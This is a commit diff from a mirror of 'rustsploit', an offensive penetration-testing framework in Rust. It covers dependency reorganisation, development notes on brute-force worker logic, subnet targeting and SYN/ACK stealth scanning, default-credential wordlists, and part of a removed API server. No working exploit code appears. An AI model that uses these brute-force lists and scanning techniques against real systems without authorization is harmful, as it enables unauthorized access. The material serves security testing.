mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
15 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 874d59a0f3 | |||
| f21fab17b8 | |||
| fef7339690 | |||
| 4224c696cc | |||
| 8c96ee3628 | |||
| 4b63dd711e | |||
| 0d81e0e6ed | |||
| bae1a091e4 | |||
| 7ae50993be | |||
| 948d802a3b | |||
| cd6ffb9a9e | |||
| f8e5c0af46 | |||
| 5f75e369cc | |||
| 80a4a5843c | |||
| 1051216ddd |
+82
-92
@@ -4,121 +4,111 @@ version = "0.3.5"
|
||||
edition = "2021"
|
||||
build = "build.rs"
|
||||
|
||||
[[bin]]
|
||||
name = "rustsploit"
|
||||
path = "src/main.rs"
|
||||
|
||||
[dependencies]
|
||||
# For HTTP requests
|
||||
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
|
||||
|
||||
#proxy manager
|
||||
rand = "0.9"
|
||||
|
||||
# For CLI parsing
|
||||
clap = { version = "4.5", features = ["derive"] }
|
||||
|
||||
# Async runtime for networking
|
||||
tokio = { version = "1.44", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
|
||||
|
||||
# Easier error handling
|
||||
# Core / General
|
||||
anyhow = "1.0"
|
||||
|
||||
#teminal color
|
||||
colored = "3.0"
|
||||
colored = "3.0" # newer than 2.0
|
||||
rand = "0.9"
|
||||
rustyline = "15.0"
|
||||
|
||||
#ftp brute force module
|
||||
async_ftp = "6.0"
|
||||
tokio-socks = "0.5"
|
||||
rustls = "0.23"
|
||||
webpki-roots = "0.26"
|
||||
suppaftp = { version = "6.2", features = ["async", "async-native-tls","native-tls"] }
|
||||
native-tls = "0.2"
|
||||
sysinfo = { version = "0.36", features = ["multithread"] }
|
||||
|
||||
#telnet
|
||||
# CLI & Async runtime
|
||||
clap = { version = "4.5", features = ["derive"] }
|
||||
tokio = { version = "1.44", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
|
||||
|
||||
# HTTP & Web
|
||||
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
|
||||
h2 = "0.3"
|
||||
http = "0.2"
|
||||
bytes = "1.0"
|
||||
tokio-rustls = "0.24"
|
||||
url = "2.5"
|
||||
quick-xml = "0.37"
|
||||
data-encoding = "2.5"
|
||||
semver = "1.0"
|
||||
|
||||
# Crypto & Encoding
|
||||
aes = "0.8"
|
||||
cipher = "0.4"
|
||||
md5 = "0.7"
|
||||
sha2 = "0.10"
|
||||
hex = "0.4"
|
||||
flate2 = "1.0"
|
||||
base64 = "0.22"
|
||||
|
||||
# Networking & Protocols
|
||||
tokio-socks = "0.5"
|
||||
socket2 = { version = "0.5", features = ["all"] }
|
||||
pnet_packet = "0.34"
|
||||
ipnet = "2.11"
|
||||
ipnetwork = "0.20"
|
||||
regex = "1.11" # newest listed
|
||||
which = "8.0"
|
||||
|
||||
# FTP
|
||||
async_ftp = "6.0"
|
||||
suppaftp = { version = "6.3", features = ["async", "async-native-tls", "native-tls"] }
|
||||
native-tls = "0.2"
|
||||
rustls = "0.23"
|
||||
webpki-roots = "0.26"
|
||||
|
||||
# Telnet
|
||||
threadpool = "1.8"
|
||||
crossbeam-channel = "0.5"
|
||||
telnet = "0.2"
|
||||
async-stream = "0.3.6"
|
||||
|
||||
# SSH
|
||||
ssh2 = "0.9"
|
||||
libc = "0.2"
|
||||
|
||||
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
|
||||
# rdp = "0.12"
|
||||
|
||||
# Walkdir (used by telnet module)
|
||||
walkdir = "2.5"
|
||||
|
||||
#ssh
|
||||
ssh2 = "0.9"
|
||||
# WebSocket (Spotube exploit)
|
||||
tokio-tungstenite = "0.26"
|
||||
|
||||
# rstp brute forcing
|
||||
base64 = "0.22"
|
||||
|
||||
# RDP brute forcing module
|
||||
rdp = "0.12"
|
||||
|
||||
# ssdp moudle scanner
|
||||
regex = "1.11"
|
||||
ipnet = "2.11"
|
||||
|
||||
#camera uniview exploit
|
||||
quick-xml = "0.37"
|
||||
|
||||
#ABUS TVIP Dropbear
|
||||
md5 = "0.7"
|
||||
ftp = "3.0"
|
||||
|
||||
#ssh rce race condition
|
||||
libc = "0.2"
|
||||
# Futures
|
||||
futures = "0.3"
|
||||
futures-util = "0.3"
|
||||
|
||||
#spotube exploit
|
||||
# JSON & Serialization
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
serde_json = "1.0"
|
||||
tokio-tungstenite = "0.26"
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
|
||||
#zte rce
|
||||
# Add these to [dependencies]
|
||||
aes = "0.8"
|
||||
cipher = "0.4"
|
||||
flate2 = "1.0"
|
||||
|
||||
# for Roundcube exploit payload encoding
|
||||
data-encoding = "2.5"
|
||||
|
||||
#avanti
|
||||
url = "2.5"
|
||||
semver = "1.0"
|
||||
|
||||
#stalk route full traceroute
|
||||
pnet_packet = "0.34"
|
||||
socket2 = { version = "0.5", features = ["all"] }
|
||||
|
||||
# HTTP/2 Rapid Reset DoS
|
||||
# Note: h2 0.3 requires http 0.2. Upgrading to h2 0.4 would require http 1.0+ and code changes
|
||||
h2 = "0.3"
|
||||
tokio-rustls = "0.24"
|
||||
http = "0.2"
|
||||
bytes = "1.0"
|
||||
|
||||
#pingsweep
|
||||
which = "8.0"
|
||||
|
||||
# API server
|
||||
# API Server (Axum)
|
||||
axum = "0.7"
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace"] }
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
uuid = { version = "1.10", features = ["v4"] }
|
||||
sha2 = "0.10"
|
||||
hex = "0.4"
|
||||
|
||||
# DNS tooling
|
||||
trust-dns-client = { version = "0.23", features = ["dnssec"] }
|
||||
trust-dns-proto = "0.23"
|
||||
# DNS
|
||||
hickory-client = { version = "0.24", features = ["dnssec"] }
|
||||
hickory-proto = "0.24"
|
||||
|
||||
# SNMP bruteforce - using manual encoding for reliability
|
||||
|
||||
# Pin transitive dependencies to edition-2021-compatible releases
|
||||
# (newer versions require unstable edition2024 feature)
|
||||
home = "=0.5.11"
|
||||
# Misc utilities
|
||||
once_cell = "1.19"
|
||||
home = "=0.5.11" # pinned for edition 2021 compatibility
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.11" # required for use in build.rs
|
||||
regex = "1.11"
|
||||
|
||||
[[bin]]
|
||||
name = "rustsploit"
|
||||
path = "src/main.rs"
|
||||
# Dependency overrides to address security warnings in transitive dependencies
|
||||
# Note: These are warnings (not vulnerabilities) in transitive dependencies
|
||||
# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
|
||||
# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
|
||||
|
||||
[profile.release]
|
||||
opt-level = 3
|
||||
lto = "fat"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
strip = true
|
||||
|
||||
+445
@@ -1960,3 +1960,448 @@ Success Rate: Moderate to high
|
||||
- Legal authorization obtained
|
||||
|
||||
|
||||
|
||||
|
||||
#### minor telnet logic flaw fix
|
||||
|
||||
When you set stop_on_success: true, here's what happens:
|
||||
|
||||
Worker 0 finds valid credentials admin:admin123
|
||||
Worker 0 sets the stop flag: stop_flag.store(true, Ordering::Relaxed)
|
||||
But Workers 1, 2, and 3 are already processing their attempts (admin:test123, admin:root, admin:toor)
|
||||
They complete those attempts even after the stop flag is set
|
||||
The module stops, but it only tested 4 combinations instead of stopping immediately after the first success
|
||||
|
||||
The Root Cause
|
||||
Look at this code in the spawn_worker function:
|
||||
|
||||
|
||||
let pair = {
|
||||
let mut guard = rx.lock().await;
|
||||
guard.recv().await
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### targeting System
|
||||
|
||||
Implemented global target configuration for all modules in the framework.
|
||||
Features
|
||||
|
||||
Global configuration module (src/config.rs):
|
||||
Stores a global target (IP, hostname, or CIDR subnet)
|
||||
Supports CIDR subnets (e.g., 192.168.1.0/24)
|
||||
Expands subnets to individual IPs when needed
|
||||
Thread-safe using Arc<RwLock>
|
||||
|
||||
CLI support:
|
||||
Added --set-target flag to set the global target from the command line
|
||||
Example: rustsploit --set-target 192.168.1.0/24
|
||||
Interactive shell support:
|
||||
set target <value> sets the global target (also sets local target for backward compatibility)
|
||||
Supports single IPs, hostnames, and CIDR subnets
|
||||
show_target (or target) displays current local and global targets
|
||||
clear_target clears both local and global targets
|
||||
Shell welcome message shows the global target if set
|
||||
Automatic target resolution:
|
||||
Modules use the global target when no specific target is provided
|
||||
Works in both CLI mode and interactive shell
|
||||
For subnets, uses the first IP (modules can be extended to iterate over all IPs)
|
||||
Usage Examples
|
||||
|
||||
# Set global target from CLIrustsploit --set-target 192.168.1.0/24# In interactive shellrsf> set target 192.168.1.0/24rsf> show_targetrsf> use scanners/port_scannerrsf> run # Uses global target automatically
|
||||
The implementation is complete and ready to use. All modules will automatically use the global target when no specific target is provided.
|
||||
|
||||
# Set global target from CLI
|
||||
rustsploit --set-target 192.168.1.0/24
|
||||
|
||||
# In interactive shell
|
||||
rsf> set target 192.168.1.0/24
|
||||
rsf> show_target
|
||||
rsf> use scanners/port_scanner
|
||||
rsf> run # Uses global target automatically
|
||||
|
||||
|
||||
Fixes Applied
|
||||
Removed unused import: removed the unused anyhow import from commands/mod.rs.
|
||||
Fixed large subnet handling:
|
||||
Added get_single_target_ip() to get a single IP from a subnet without expanding.
|
||||
Added get_target_size() to get subnet size without expanding.
|
||||
Limited subnet expansion to 65,536 IPs (max /16) to prevent memory issues.
|
||||
Updated all code to use the new methods.
|
||||
Improved error handling: better error messages when subnets are too large.
|
||||
When you set 0.0.0.0/0 as the target, it now uses 0.0.0.0 (the network address) instead of expanding to billions of IPs. For scanning multiple IPs, use a smaller subnet like 192.168.1.0/24.
|
||||
|
||||
Fixes Applied
|
||||
Fixed NetworkSize type conversion:
|
||||
|
||||
Replaced net.size().into() with manual calculation from the prefix length
|
||||
Calculates subnet size as 2^(32-prefix) for IPv4 and 2^(128-prefix) for IPv6
|
||||
Handles edge cases (prefix >= 32 for IPv4, prefix >= 128 for IPv6)
|
||||
|
||||
Verified creds modules:
|
||||
All 14 creds modules have the correct pub async fn run(target: &str) signature
|
||||
The build script (build.rs) automatically discovers and registers them
|
||||
Modules are wired via the generated creds_dispatch.rs file
|
||||
|
||||
Added a run_all command that uses get_target_ips() to iterate over all IPs in a subnet. This removes the dead code warning.
|
||||
Changes Made
|
||||
Added run_all command (aliases: runall, ra):
|
||||
Checks if a global subnet target is set
|
||||
Uses get_target_ips() to get all IPs from the subnet
|
||||
Runs the selected module against each IP sequentially
|
||||
Supports proxy rotation if enabled
|
||||
Shows progress and a summary at the end
|
||||
Updated help text to include the new command
|
||||
The get_target_ips() method is now used, so the dead code warning should be resolved. The command works with subnets up to 65,536 IPs (as limited by the method).
|
||||
Usage example:
|
||||
|
||||
|
||||
Fixed Compilation Errors
|
||||
Updated deprecated rand API:
|
||||
Changed rand::thread_rng() → rand::rng()
|
||||
Changed rng.gen_range() → rng.random_range()
|
||||
Changed rng.gen() → rng.random()
|
||||
Fixed Send trait issue:
|
||||
Moved all random value generation into a block scope { ... } that completes before any await points
|
||||
This ensures the ThreadRng is dropped before the async code runs, making the future Send
|
||||
Fixed unused variable warning:
|
||||
Changed if let Ok(addr) = socket.connect(...) to if socket.connect(...).is_ok() to avoid the unused addr variable
|
||||
|
||||
|
||||
Changes Made:
|
||||
|
||||
Added new scan methods to PingMethod enum:
|
||||
Syn { ports: Vec<u16> } - SYN (stealth) scan
|
||||
Ack { ports: Vec<u16> } - ACK scan for filter detection
|
||||
|
||||
Updated configuration prompts:
|
||||
Added prompts for SYN and ACK scan options
|
||||
Both methods note that root privileges are required
|
||||
Implemented SYN scan (syn_probe and syn_probe_single):
|
||||
Sends SYN packets using raw sockets
|
||||
Detects SYN-ACK (port open) or RST (host up, port closed)
|
||||
IPv4 only
|
||||
Uses spawn_blocking for async compatibility
|
||||
Implemented ACK scan (ack_probe and ack_probe_single):
|
||||
Sends ACK packets using raw sockets
|
||||
Detects RST responses (host up, port unfiltered)
|
||||
IPv4 only
|
||||
Uses spawn_blocking for async compatibility
|
||||
|
||||
Added required imports:
|
||||
libc for IPPROTO_RAW
|
||||
pnet_packet for packet crafting
|
||||
socket2 for raw sockets
|
||||
tokio::task for spawn_blocking
|
||||
MaybeUninit for safe buffer handling
|
||||
|
||||
Features:
|
||||
SYN scan: Stealth scan that sends SYN packets and analyzes responses
|
||||
ACK scan: Detects filtered vs unfiltered ports
|
||||
User selection: Prompts to choose which scan methods to use
|
||||
Error handling: Clear messages when root privileges are required
|
||||
IPv4 support: Both methods work with IPv4 addresses
|
||||
Async compatible: Uses spawn_blocking for raw socket operations
|
||||
|
||||
Fixed the parsing issue. The problem was that strip_prefix("target") matched "target" even without a following space, so set target set 192.168.41.1/23 was parsed incorrectly.
|
||||
The fix:
|
||||
Changed strip_prefix("target") to strip_prefix("target ") (requires a space after "target")
|
||||
Added a check to ensure the value isn't empty after stripping
|
||||
Now when you type set target 192.168.41.1/23, it will correctly parse just 192.168.41.1/23 as the target value.
|
||||
The code should now work correctly. Try running:
|
||||
|
||||
|
||||
Fixed both issues:
|
||||
CIDR validation: Updated the regex in normalize_target to allow / for CIDR notation (e.g., 192.168.41.1/23).
|
||||
Parsing: Changed the check to use starts_with("target ") instead of strip_prefix, which is more explicit.
|
||||
The code should now:
|
||||
Accept CIDR notation like 192.168.41.1/23
|
||||
Correctly parse set target 192.168.41.1/23 without including extra words
|
||||
Try running:
|
||||
|
||||
|
||||
|
||||
Changes Made:
|
||||
Added fields to PingConfig:
|
||||
save_up_hosts: Option<String> - Path to save up hosts
|
||||
save_down_hosts: Option<String> - Path to save down hosts
|
||||
Added configuration prompts:
|
||||
Asks if you want to save up hosts to a file (default: ping_sweep_up_hosts.txt)
|
||||
Asks if you want to save down hosts to a file (default: ping_sweep_down_hosts.txt)
|
||||
You can specify custom file paths
|
||||
Result collection:
|
||||
Uses Arc<Mutex<Vec<String>>> to collect up and down hosts during execution
|
||||
Up hosts are added when any probe method succeeds
|
||||
Down hosts are added when all probe methods fail
|
||||
File saving:
|
||||
Added save_hosts_to_file() function to write results
|
||||
Saves files at the end of the sweep
|
||||
Shows success messages with counts
|
||||
Handles errors gracefully
|
||||
Usage:
|
||||
When you run the ping sweep scanner, you'll be prompted:
|
||||
"Save up hosts to file?" - If yes, specify the output file
|
||||
"Save down hosts to file?" - If yes, specify the output file
|
||||
|
||||
|
||||
Improvements
|
||||
1. Statistics tracking
|
||||
Real-time progress reporting showing attempts, successes, failures, errors, retries, and rate
|
||||
Final statistics summary with elapsed time and average rate
|
||||
Updates every 2 seconds
|
||||
2. Retry logic
|
||||
Configurable retry on connection errors
|
||||
Max retries setting (1-10)
|
||||
Tracks retry attempts separately
|
||||
3. Timeout configuration
|
||||
Configurable connection timeout (1-60 seconds)
|
||||
Uses tokio::time::timeout for proper async timeout handling
|
||||
4. Concurrency control
|
||||
Uses Semaphore for proper concurrency limiting
|
||||
Prevents task queue overflow
|
||||
Better resource management
|
||||
5. Default credentials
|
||||
Built-in list of 13 common SSH credentials
|
||||
Optional: try defaults first before wordlists
|
||||
Can be combined with wordlists
|
||||
6. Better error handling
|
||||
More detailed error messages
|
||||
Distinguishes between connection errors, handshake failures, and auth failures
|
||||
Tracks error attempts separately
|
||||
7. Enhanced user experience
|
||||
Better input validation with clear error messages
|
||||
Optional wordlists (can use defaults only)
|
||||
Shows total attempts before starting
|
||||
Uses HashSet to prevent duplicate credential reporting
|
||||
Improved output formatting with colors
|
||||
8. Code quality
|
||||
Cleaner structure with constants
|
||||
Better separation of concerns
|
||||
More robust error handling
|
||||
|
||||
Fixing the warning: u16 can't exceed 65535, so the <= 65535 check is redundant. Removing it:
|
||||
|
||||
|
||||
cargo audit
|
||||
Fetching advisory database from `https://github.com/RustSec/advisory-db.git`
|
||||
Loaded 874 security advisories (from /home/kali/.cargo/advisory-db)
|
||||
Updating crates.io index
|
||||
Scanning Cargo.lock for vulnerabilities (421 crate dependencies)
|
||||
Crate: chrono
|
||||
Version: 0.2.25
|
||||
Title: Potential segfault in `localtime_r` invocations
|
||||
Date: 2020-11-10
|
||||
ID: RUSTSEC-2020-0159
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2020-0159
|
||||
Solution: Upgrade to >=0.4.20
|
||||
Dependency tree:
|
||||
chrono 0.2.25
|
||||
└── ftp 3.0.1
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: idna
|
||||
Version: 0.4.0
|
||||
Title: `idna` accepts Punycode labels that do not produce any non-ASCII when decoded
|
||||
Date: 2024-12-09
|
||||
ID: RUSTSEC-2024-0421
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2024-0421
|
||||
Solution: Upgrade to >=1.0.0
|
||||
Dependency tree:
|
||||
idna 0.4.0
|
||||
└── trust-dns-proto 0.23.2
|
||||
├── trust-dns-client 0.23.2
|
||||
│ └── rustsploit 0.3.5
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: regex
|
||||
Version: 0.1.80
|
||||
Title: Regexes with large repetitions on empty sub-expressions take a very long time to parse
|
||||
Date: 2022-03-08
|
||||
ID: RUSTSEC-2022-0013
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2022-0013
|
||||
Severity: 7.5 (high)
|
||||
Solution: Upgrade to >=1.5.5
|
||||
Dependency tree:
|
||||
regex 0.1.80
|
||||
└── ftp 3.0.1
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: thread_local
|
||||
Version: 0.2.7
|
||||
Title: Data race in `Iter` and `IterMut`
|
||||
Date: 2022-01-23
|
||||
ID: RUSTSEC-2022-0006
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2022-0006
|
||||
Solution: Upgrade to >=1.1.4
|
||||
Dependency tree:
|
||||
thread_local 0.2.7
|
||||
└── regex 0.1.80
|
||||
└── ftp 3.0.1
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: time
|
||||
Version: 0.1.45
|
||||
Title: Potential segfault in the time crate
|
||||
Date: 2020-11-18
|
||||
ID: RUSTSEC-2020-0071
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2020-0071
|
||||
Severity: 6.2 (medium)
|
||||
Solution: Upgrade to >=0.2.23
|
||||
Dependency tree:
|
||||
time 0.1.45
|
||||
└── chrono 0.2.25
|
||||
└── ftp 3.0.1
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: async-std
|
||||
Version: 1.13.2
|
||||
Warning: unmaintained
|
||||
Title: async-std has been discontinued
|
||||
Date: 2025-08-24
|
||||
ID: RUSTSEC-2025-0052
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2025-0052
|
||||
Dependency tree:
|
||||
async-std 1.13.2
|
||||
└── suppaftp 6.3.0
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: atomic-polyfill
|
||||
Version: 1.0.3
|
||||
Warning: unmaintained
|
||||
Title: atomic-polyfill is unmaintained
|
||||
Date: 2023-07-11
|
||||
ID: RUSTSEC-2023-0089
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2023-0089
|
||||
Dependency tree:
|
||||
atomic-polyfill 1.0.3
|
||||
└── heapless 0.7.17
|
||||
└── rstar 0.11.0
|
||||
├── geo-types 0.7.17
|
||||
│ ├── rdp 0.12.8
|
||||
│ │ └── rustsploit 0.3.5
|
||||
│ └── geo 0.26.0
|
||||
│ └── rdp 0.12.8
|
||||
└── geo 0.26.0
|
||||
|
||||
Crate: atty
|
||||
Version: 0.2.14
|
||||
Warning: unmaintained
|
||||
Title: `atty` is unmaintained
|
||||
Date: 2024-09-25
|
||||
ID: RUSTSEC-2024-0375
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2024-0375
|
||||
Dependency tree:
|
||||
atty 0.2.14
|
||||
└── clap 3.2.25
|
||||
└── cbindgen 0.26.0
|
||||
└── rdp 0.12.8
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: ftp
|
||||
Version: 3.0.1
|
||||
Warning: unmaintained
|
||||
Title: ftp is unmaintained, use suppaftp instead
|
||||
Date: 2023-02-20
|
||||
ID: RUSTSEC-2023-0043
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2023-0043
|
||||
Dependency tree:
|
||||
ftp 3.0.1
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: trust-dns-proto
|
||||
Version: 0.23.2
|
||||
Warning: unmaintained
|
||||
Title: The `trust-dns` project has been rebranded to `hickory-dns`
|
||||
Date: 2025-03-23
|
||||
ID: RUSTSEC-2025-0017
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2025-0017
|
||||
Dependency tree:
|
||||
trust-dns-proto 0.23.2
|
||||
├── trust-dns-client 0.23.2
|
||||
│ └── rustsploit 0.3.5
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: atty
|
||||
Version: 0.2.14
|
||||
Warning: unsound
|
||||
Title: Potential unaligned read
|
||||
Date: 2021-07-04
|
||||
ID: RUSTSEC-2021-0145
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2021-0145
|
||||
|
||||
error: 5 vulnerabilities found!
|
||||
warning: 6 allowed warnings found
|
||||
|
||||
Security Fixes Applied:
|
||||
|
||||
Removed unmaintained ftp crate (v3.0)
|
||||
Removed from Cargo.toml
|
||||
Added blocking feature to suppaftp for blocking FTP operations
|
||||
Updated pachev_ftp_path_traversal_1_0.rs to use suppaftp::FtpStream instead of ftp::FtpStream
|
||||
This fixes vulnerabilities in: chrono 0.2.25, regex 0.1.80, thread_local 0.2.7, and time 0.1.45
|
||||
Replaced trust-dns-* with hickory-dns-*
|
||||
Updated Cargo.toml to use hickory-client and hickory-proto (rebranded, maintained versions)
|
||||
Updated dns_recursion.rs imports from trust_dns_* to hickory_*
|
||||
This fixes the idna 0.4.0 vulnerability and the unmaintained trust-dns-proto warning
|
||||
All 5 vulnerabilities should now be resolved. The remaining warnings (async-std, atomic-polyfill, atty) are transitive dependencies from other crates (rdp, suppaftp) and are warnings, not vulnerabilities.
|
||||
im gunna Run cargo audit again to verify the fixes
|
||||
|
||||
|
||||
The suppaftp crate doesn't have a blocking feature. Checking available features and how to use blocking FTP:
|
||||
Removing the blocking feature; suppaftp's blocking API should be available by default:
|
||||
|
||||
Removed the non-existent blocking feature. suppaftp::FtpStream (without the Async prefix) is the blocking API and is available by default. The code should compile now. Verifying:
|
||||
Removed the non-existent blocking feature. In suppaftp:
|
||||
FtpStream (blocking) is available by default — used in the exploit
|
||||
AsyncFtpStream requires the async feature — used in other modules
|
||||
The configuration should now compile. The blocking FtpStream API is available without any feature flag, so the exploit should work correctly.
|
||||
Try running cargo run --release again; it should compile successfully.
|
||||
|
||||
|
||||
Fixed two issues:
|
||||
Removed unused import: std::net::ToSocketAddrs is no longer needed since we're using suppaftp::FtpStream::connect() which accepts a string directly.
|
||||
Fixed method name: Changed simple_retr() to retr(). In suppaftp, retr() returns a reader directly (no .into_inner() needed).
|
||||
The code should now compile. The retr() method in suppaftp returns a reader that can be used directly with copy().
|
||||
|
||||
Fixed the issue: suppaftp::FtpStream::retr() takes two arguments:
|
||||
The file path (string)
|
||||
A mutable writer to write the data to
|
||||
Updated the code to:
|
||||
Create the output file first
|
||||
Pass a mutable reference to the file as the second argument to retr()
|
||||
Remove the unnecessary copy() call since retr() writes directly to the file
|
||||
|
||||
Fixed the issue. The retr() method in suppaftp expects a closure that:
|
||||
Takes a &mut dyn Read (the FTP data stream)
|
||||
Processes it (in this case, copy it to a file)
|
||||
Returns a Result with FtpError
|
||||
The code now:
|
||||
Creates the output file
|
||||
Uses a closure that receives the reader from FTP
|
||||
Uses io::copy() to copy data from the reader to the file
|
||||
Converts I/O errors to FtpError as required
|
||||
|
||||
Fixed both issues:
|
||||
Removed unused import: Removed Read from the imports since it's not directly used.
|
||||
Fixed error type: FtpError::ConnectionError expects an Error type, not a String. Changed it to use std::io::Error::new() to create a proper error from the I/O error.
|
||||
|
||||
|
||||
let Some((user, pass)) = pair else { break };
|
||||
|
||||
if stop_flag.load(Ordering::Relaxed) { // ❌ Check happens AFTER receiving work
|
||||
break;
|
||||
}
|
||||
|
||||
Removed the unused rdp dependency, which should eliminate the atomic-polyfill and atty warnings. The RDP bruteforce module uses external commands (xfreerdp/rdesktop), not the rdp crate.
|
||||
For the async-std warning from suppaftp, it's a transitive dependency and only a warning (not a vulnerability). We can wait for suppaftp to update or consider alternatives later.
|
||||
Summary of fixes:
|
||||
Removed unused rdp dependency — eliminates atomic-polyfill and atty warnings
|
||||
Updated suppaftp to version 6.3 — may help with async-std if a newer version addresses it
|
||||
Added comments explaining the remaining async-std warning
|
||||
The remaining async-std warning is from suppaftp's transitive dependencies and is a maintenance warning, not a security vulnerability. It should be addressed upstream by the suppaftp maintainers.
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
admin
|
||||
password
|
||||
123456
|
||||
1234
|
||||
root
|
||||
toor
|
||||
guest
|
||||
default
|
||||
admin123
|
||||
adminadmin
|
||||
pass
|
||||
changeme
|
||||
password1
|
||||
cisco
|
||||
ubnt
|
||||
support
|
||||
12345
|
||||
qwerty
|
||||
letmein
|
||||
test
|
||||
@@ -0,0 +1,20 @@
|
||||
admin
|
||||
root
|
||||
user
|
||||
administrator
|
||||
guest
|
||||
support
|
||||
operator
|
||||
supervisor
|
||||
admin1
|
||||
root1
|
||||
manager
|
||||
service
|
||||
master
|
||||
tech
|
||||
sysadmin
|
||||
default
|
||||
cisco
|
||||
ubnt
|
||||
pi
|
||||
test
|
||||
-716
@@ -1,716 +0,0 @@
|
||||
use anyhow::{Context, Result};
|
||||
use axum::{
|
||||
extract::{ConnectInfo, Request, State},
|
||||
http::{HeaderMap, StatusCode},
|
||||
middleware::Next,
|
||||
response::{IntoResponse, Response},
|
||||
routing::{get, post},
|
||||
Json, Router,
|
||||
};
|
||||
use std::net::SocketAddr;
|
||||
use chrono::{DateTime, Utc};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::{
|
||||
collections::HashMap,
|
||||
path::PathBuf,
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
fs::OpenOptions,
|
||||
io::AsyncWriteExt,
|
||||
sync::RwLock,
|
||||
};
|
||||
use tower::ServiceBuilder;
|
||||
use tower_http::trace::TraceLayer;
|
||||
use uuid::Uuid;
|
||||
|
||||
use crate::commands;
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct ApiKey {
|
||||
pub key: String,
|
||||
pub created_at: DateTime<Utc>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, Serialize)]
|
||||
pub struct IpTracker {
|
||||
pub ip: String,
|
||||
pub first_seen: DateTime<Utc>,
|
||||
pub last_seen: DateTime<Utc>,
|
||||
pub request_count: u32,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, Serialize)]
|
||||
pub struct AuthFailureTracker {
|
||||
pub ip: String,
|
||||
pub failed_attempts: u32,
|
||||
pub first_failure: DateTime<Utc>,
|
||||
pub blocked_until: Option<DateTime<Utc>>,
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct ApiState {
|
||||
pub current_key: Arc<RwLock<ApiKey>>,
|
||||
pub ip_tracker: Arc<RwLock<HashMap<String, IpTracker>>>,
|
||||
pub auth_failures: Arc<RwLock<HashMap<String, AuthFailureTracker>>>,
|
||||
pub harden_enabled: bool,
|
||||
pub ip_limit: u32,
|
||||
pub log_file: PathBuf,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
pub struct ApiResponse {
|
||||
pub success: bool,
|
||||
pub message: String,
|
||||
pub data: Option<serde_json::Value>,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
pub struct RunModuleRequest {
|
||||
pub module: String,
|
||||
pub target: String,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
pub struct ListModulesResponse {
|
||||
pub exploits: Vec<String>,
|
||||
pub scanners: Vec<String>,
|
||||
pub creds: Vec<String>,
|
||||
}
|
||||
|
||||
// ----------------------
|
||||
// Validation utilities
|
||||
// ----------------------
|
||||
fn sanitize_for_log(input: &str) -> String {
|
||||
let mut s = input.replace(['\r', '\n', '\t'], " ");
|
||||
if s.len() > 500 {
|
||||
s.truncate(500);
|
||||
s.push_str("…");
|
||||
}
|
||||
s
|
||||
}
|
||||
|
||||
fn is_printable_ascii(s: &str) -> bool {
|
||||
s.chars().all(|c| c.is_ascii_graphic() || c == ' ' || c == '/' || c == ':' || c == '.')
|
||||
}
|
||||
|
||||
fn validate_api_key_format(key: &str) -> bool {
|
||||
!key.is_empty() && key.len() <= 128 && key.chars().all(|c| c.is_ascii_graphic())
|
||||
}
|
||||
|
||||
fn validate_module_name(module: &str) -> bool {
|
||||
// Allow only expected module path forms, e.g., "exploits/x", "scanners/y", "creds/z"
|
||||
if module.is_empty() || module.len() > 200 { return false; }
|
||||
if !module.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '/' || c == '_' || c == '-') {
|
||||
return false;
|
||||
}
|
||||
let parts: Vec<&str> = module.split('/').collect();
|
||||
if parts.len() < 2 { return false; }
|
||||
matches!(parts[0], "exploits" | "scanners" | "creds")
|
||||
}
|
||||
|
||||
fn validate_target(target: &str) -> bool {
|
||||
if target.is_empty() || target.len() > 2048 { return false; }
|
||||
if !is_printable_ascii(target) { return false; }
|
||||
// Basic sanity: avoid spaces at ends and double CRLF injections
|
||||
